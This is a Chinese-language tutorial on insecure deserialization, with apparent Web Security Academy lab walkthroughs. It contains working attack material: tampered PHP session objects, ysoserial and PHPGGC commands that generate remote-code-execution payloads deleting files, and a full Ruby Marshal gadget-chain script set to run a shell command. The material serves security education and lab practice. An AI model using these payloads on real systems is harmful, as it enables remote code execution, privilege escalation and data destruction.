序列化(serialization):
将复杂的数据结构(如对象及其字段)转换为可作为连续字节流发送和接收的“平面”格式的过程。作用如下:
- 将接收到的复杂数据写入进程内存、文件或数据库
- 通过网络,在应用程序不同组件间或API调用中传送数据
在序列化对象时,其状态也是持久化的。换句话说,对象的属性及其赋值将被保留。仅仅是数据格式变为了“扁平”化。
反序列化(Deserialization):
2. 不同语言的序列化实现将字节流(序列化对象)恢复为原始对象的全功能副本的过程,其状态与序列化时完全相同。网站可以与这个反序列化对象交互,就像与任何其他对象交互一样。
- JAVA 序列化为二进制格式
虽不可读,但可识别二进制字节开头来快速识别:以十六进制编码为ac,以Base64编码为rO0
任何实现了接口java.io.Serializable的类都可以被序列化和反序列化。
阅读源码时,注意ReadObject()方法的任何代码,该方法用于从InputStream读取和反序列化数据。
- PHP 序列化为字符串格式
// 应该从查找代码中任何位置的unSerialize()开始 $user->name = "carlos"; $user->isLoggedIn = true;
O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
- Ruby 序列化又名marshalling
- Python 序列化又名pickling
不安全的反序列化是指用户可控制的数据被网站反序列化。这可能使攻击者操纵序列化对象,以便将有害数据传递到应用程序代码中。
- 不安全的反序列化有时被称为“对象注入”漏洞。
- 许多基于反序列化的攻击都是在反序列化完成之前完成的。这意味着反序列化过程本身可以发起攻击,即使网站本身的功能不直接与恶意对象交互。
- 反序列化对象通常被认为是值得信任的。尤其是二进制序列化格式的语言时,开发人员可能会认为用户无法有效地读取或操作数据。可实际恰恰相反
- 不可能安全地反序列化不受信任的输入。
二、漏洞识别和利用 1. 操纵序列化对象由于网站中存在大量依赖项,基于反序列化的攻击也成为可能。一个典型的站点可能会实现许多不同的库,每个库也有自己的依赖项。这创建了一个难以安全管理的大量类和方法池。由于攻击者可以创建这些类中的任何一个类的实例,很难预测可以对恶意数据调用哪些方法。如果攻击者能够将一系列意想不到的方法调用链接在一起,将数据传递到与初始源完全无关的接收器中,那么预测恶意数据流并堵塞每个潜在漏洞几乎是不可能的。
操作序列化对象时,可以采用两种方法。
- 可以直接以字节流的形式编辑对象,
- 可以用相应的语言编写一个简短的脚本来自己创建和序列化新对象。
在使用二进制序列化格式时,后一种方法通常更容易
(1) 修改对象属性篡改数据时,只要攻击者保留有效的序列化对象,反序列化过程就会使用修改后的属性值创建服务器端对象。
- 在HTTP请求中发现序列化对象
- 解码已查看字节流
O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}
- 发现属性isAdmin,尝试修改为1,并用修改后的值覆盖当前的Cookie。利用程序逻辑自动反序列化
$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {
// allow access to admin interface
}
- 权限提升成功
这种简单的场景并不常见。以这种方式编辑属性值演示了由不安全反序列化暴露的大量攻击面的第一步。
(2) 修改数据类型例题1
以php举例:基于PHP的逻辑在比较不同数据类型时,由于其松散比较运算符(==)的行为,特别容易受到这种操作的影响。
5 == "5 of something" //true
0 == "Example string" // true
程序验证逻辑,往往是
$login = unserialize($_COOKIE)
if ($login['password'] == $password) {
// log in successfully
}
在修改任何序列化对象格式的数据类型时,要同步更新序列化数据中的任何类型标签和长度指示符
2. 使用应用程序功能例题 2
除了简单地检查属性值之外,网站的功能还可能对反序列化对象中的数据执行危险的操作。
可以使用不安全的反序列化来传递数据,并利用相关功能进行破坏。
3. 使用攻击链攻击(魔术方法)例题 3
魔术方法属于非显式调用的特殊方法。只要发生特定事件或场景,就会自动调用它们。魔术方法是面向对象编程语言的共同特征。它们在方法名前加上双下划线来表示。
PHP __construct() __wakeup() Python __init__
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException
{
// implementation
}
(1) 注入任意对象
在面向对象编程中,对象可用的方法由其类确定。因此,如果攻击者可以操纵作为序列化数据传入的对象类,他们就可以影响在反序列化之后甚至在反序列化期间执行的代码。
- 传入网站可用的任何可序列化对象(攻击者定制的恶意对象)
- 程序魔术方法直接将该对象反序列化
- 意外的对象可能会在应用程序中导致异常。但恶意对象已经被实例化了。攻击已经发生。
攻击者查看源码
- 查找研究所有可用的类
- 查找其中包含反序列化魔术方法的类,是否存在对可控数据执行的危险操作
- 将数据传入此类的序列化对象,使程序自动调用该类魔术方法形成攻击
(2) 小工具链攻击原理(攻击链)例题4
包含这些反序列化魔术方法的类还可以用来发起更复杂的攻击,这些攻击涉及一系列较长的方法调用,称为“小工具链”(攻击链)。
所有代码都已经存在于网站上。攻击者唯一控制的就是传递到小工具链中的数据。
“小工具”是应用程序中的一段代码,可以帮助攻击者实现特定目标。单个小工具可能不会直接对用户输入做任何有害的事情。然而,攻击者的目标可能只是调用一个方法,该方法将他们的输入传递到另一个小工具。通过以这种方式将多个小工具链接在一起,攻击者可能会将它们的输入传递到危险的“接收器小工具”中,从而造成最大的破坏。
(3) 使用预置的小工具链手动识别小工具链可能是一个相当艰巨的过程,如果没有源代码访问,几乎是不可能的。幸运的是,可以首先尝试一些使用预建小工具链的攻击。
小工具:ysoserial 测试Java deserialization
小工具:PHPGGC 测试 PHP-based sites deserialization
例题 5、6
URLDNS链触发对提供的URL的DNS查找。最重要的是,它不依赖于使用特定易受攻击的库的目标应用程序,并且可以在任何已知的Java版本中运行。这使其成为用于检测目的的最通用的小工具链。如果您在流量中发现序列化对象,您可以尝试使用此小工具链生成一个对象,该对象触发与Burp Collaborator服务器的DNS交互。如果是这样的话,您可以确定目标上发生了反序列化。
(4) 网上搜索公开的攻击链JRMPClient是另一个可用于初始检测的通用链。它会导致服务器尝试建立到提供的IP地址的TCP连接。请注意,您需要提供原始IP地址,而不是主机名。此链在所有出站流量都经过防火墙保护的环境中可能很有用,包括DNS查找。您可以尝试使用两个不同的IP地址生成有效负载:本地IP地址和有防火墙的外部IP地址。如果应用程序立即响应具有本地地址的有效负载,但挂起具有外部地址的有效负载,导致响应延迟,这表明小工具链工作,因为服务器尝试连接到防火墙地址。在这种情况下,响应的细微时间差可以帮助检测服务器上是否发生了反序列化,即使在盲测情况下也是如此。
可能并不总是有专用工具可用。在这种情况下,网上搜索公开的漏洞。有时需要自己序列化对象进行尝试,但这种方法仍然比从头开始构建利用漏洞的工作要少得多。
(5) 创建自己的攻击链例题7
- 尝试上述(1)~(4)方式均不奏效
- 必须找到源码至少是部分源码
- 仔细分析每一个包含魔术方法的类,尤其是涉及到反序列化方法
- 对挑选出来的类进行详细测试分析,是否对输入的数据有任何‘危险’操作
- 对候选方法如能自动调用最好,如不能,就得找出办法触发调用
- 详细跟踪你输入数据的全流程,要么进入dead end,要么进入‘候选’工具链(a dangerous sink gadget)
- 一旦成功创建了攻击工具链,就开始构建有效荷载(如上述(1)~(4)方式)
当进行更重要的更改时,例如传入一个全新的对象,手动更改过于繁琐。为了生成和序列化数据,尽量用目标语言编写代码实现。
- 在自己的小工具链成功后,要利用这个攻击面来触发二次更深入利用漏洞的机会。不断扩大影响和危害。
三、漏洞实例 1. 修改序列化对象(Modifying serialized objects)例题8、9、10
目标:提升普通账户权限为admin, 删除carlos账户。
登陆个人账户也后查看session
GET /my-account HTTP/1.1 Host: ac0c1fff1fdcb086c09bb52600520008.web-security-academy.net Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%3d User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,**;q=0.8 Connection: close
session 解码后发现avatar_link链接,修改成目标链接后,编码替换session
session=O:4:“User”:3:{s:8:“username”;s:5:“gregg”;s:12:“access_token”;s:32:“jo8gmn6d9ufdjwr89tjai5qinaoee8md”;s:11:“avatar_link”;s:23:“/home/carlos/morale.txt”;}
成功。普通账户删除,同时/home/carlos/morale.txt文件删除
目标:删除carlos用户的 /home/carlos/morale.txt文件
hint: 可以通过在文件名后附加一个波浪号(~)来读取源代码,以检索由编辑器生成的备份文件。
(1)尝试之前例题序列化的方式,发现均不成功。
(2)在burp scan页 发现 /libs/CustomTemplate.php文件 。页面空白证明是有文件的,web是无法直接显示php等文件。
(3)尝试是否可以使用富文本文件打开(开发时常使用)。路径/libs/CustomTemplate.php~
private $template_file_path;
private $lock_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}
private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}
?>
(4)查询源码发现魔法函数__destruct()中存在危险函数unlink,如能构造这个类CustomTemplate 中属性lock_file_path的序列化对象,程序就能自动执行__destruct(),删除提供的路径文件。
(5)登陆普通账户分析session,
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"d1qm12is0hara5h0f60yt3jpfgh3cowb";}
(6)改造后session
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
(7)数据包中替换为新session提交,成功
目标:删除carlos用户的 /home/carlos/morale.txt文件
(1)尝试之前例题序列化的方式,发现均不成功。
(2)尝试解码session, r0o开头是java的序列化
rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBkM3psMDc3NTRneHdhaG1ibzFoNGE4MDN6ZXE4em83b3QABndpZW5lcg%3d%3d
(3)首先尝试一些常用普遍的攻击链(此处使用工具ysoserial)
java -jar path/to/ysoserial.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64
(4)将产生的结果url-encoding后,替换现有session,成功。
目标:删除carlos用户的 /home/carlos/morale.txt文件
(1)尝试之前例题序列化的方式,发现均不成功。
(2)通过Burp scaner发现 phpinfo.php修改session 报错信息发现如下信息
SECRET_KEY :rq0rla2xvldf76pqc4ccn3pzt6l6ien1
报错信息:Internal Server Error: Symfony Version: 4.3.6
(3)分析sesson发现是php
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2ZHluYTN4eTU0NTMyN3luejVjMmpiM2J4dDQ0MW9yNSI7fQ==","sig_hmac_sha1":"d386cbc2a851bf51b92b55aac6b961164e438a1e"}
(4)使用工具PHPGGC,生成token值
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64
(5)编制php脚本生成COOKIE

7. 使用文档记录的小工具链利用Ruby反序列化(Exploiting Ruby deserialization using a documented gadget chain)
(6)替换session提交,成功
目标:删除carlos用户的 /home/carlos/morale.txt文件
(1)尝试之前例题序列化的方式,发现均不成功。
(2)多方尝试报错后发现 index.rb 证明该网站是ruby开发的Internal Server Error
index.rb:13:in `load': dump format error for symbol(0x3f) (ArgumentError) from -e:13:in `<main">>'
(3)网上搜索ruby 小工具链相关信息
https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
复制出文章的最后一个脚本# Autoload the required classes Gem::SpecFetcher Gem::Installer # prevent the payload from running when we Marshal.dump it module Gem class Requirement def marshal_dump [@requirements] end end end wa1 = Net::WriteAdapter.new(Kernel, :system) rs = Gem::RequestSet.allocate rs.instance_variable_set('@sets', wa1) rs.instance_variable_set('@git_set', "id") wa2 = Net::WriteAdapter.new(rs, :resolve) i = Gem::Package::TarReader::Entry.allocate i.instance_variable_set('@read', 0) i.instance_variable_set('@header', "aaa") n = Net::BufferedIO.allocate n.instance_variable_set('@io', i) n.instance_variable_set('@debug_output', wa2) t = Gem::Package::TarReader.allocate t.instance_variable_set('@io', n) r = Gem::Requirement.allocate r.instance_variable_set('@requirements', t) payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r]) puts payload.inspect puts Marshal.load(payload)因我对ruby也不是很熟悉,参考tips :
将应该执行的命令从id更改为rm /home/carlos/morale.txt。将最后两行替换为PUTS Base64.encode64(payload)。这可确保以正确的格式输出有效负载,以供您在实验中使用。
# Autoload the required classes Gem::SpecFetcher Gem::Installer # prevent the payload from running when we Marshal.dump it module Gem class Requirement def marshal_dump [@requirements] end end end wa1 = Net::WriteAdapter.new(Kernel, :system) rs = Gem::RequestSet.allocate rs.instance_variable_set('@sets', wa1) # rs.instance_variable_set('@git_set', "id") rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt") wa2 = Net::WriteAdapter.new(rs, :resolve) i = Gem::Package::TarReader::Entry.allocate i.instance_variable_set('@read', 0) i.instance_variable_set('@header', "aaa") n = Net::BufferedIO.allocate n.instance_variable_set('@io', i) n.instance_variable_set('@debug_output', wa2) t = Gem::Package::TarReader.allocate t.instance_variable_set('@io', n) r = Gem::Requirement.allocate r.instance_variable_set('@requirements', t) payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r]) # puts payload.inspect # puts Marshal.load(payload) puts Base64.encode64(payload)找个在线平台运行脚本得出结果替换session,成功
8. 为Java反序列化开发自定义小工具链(Developing a custom gadget chain for Java deserialization)暂略
9. 为PHP反序列化开发自定义小工具链(Developing a custom gadget chain for PHP deserialization)暂略
10. 使用Phar反序列化部署自定义小工具链(Using PHAR deserialization to deploy a custom gadget chain)暂略



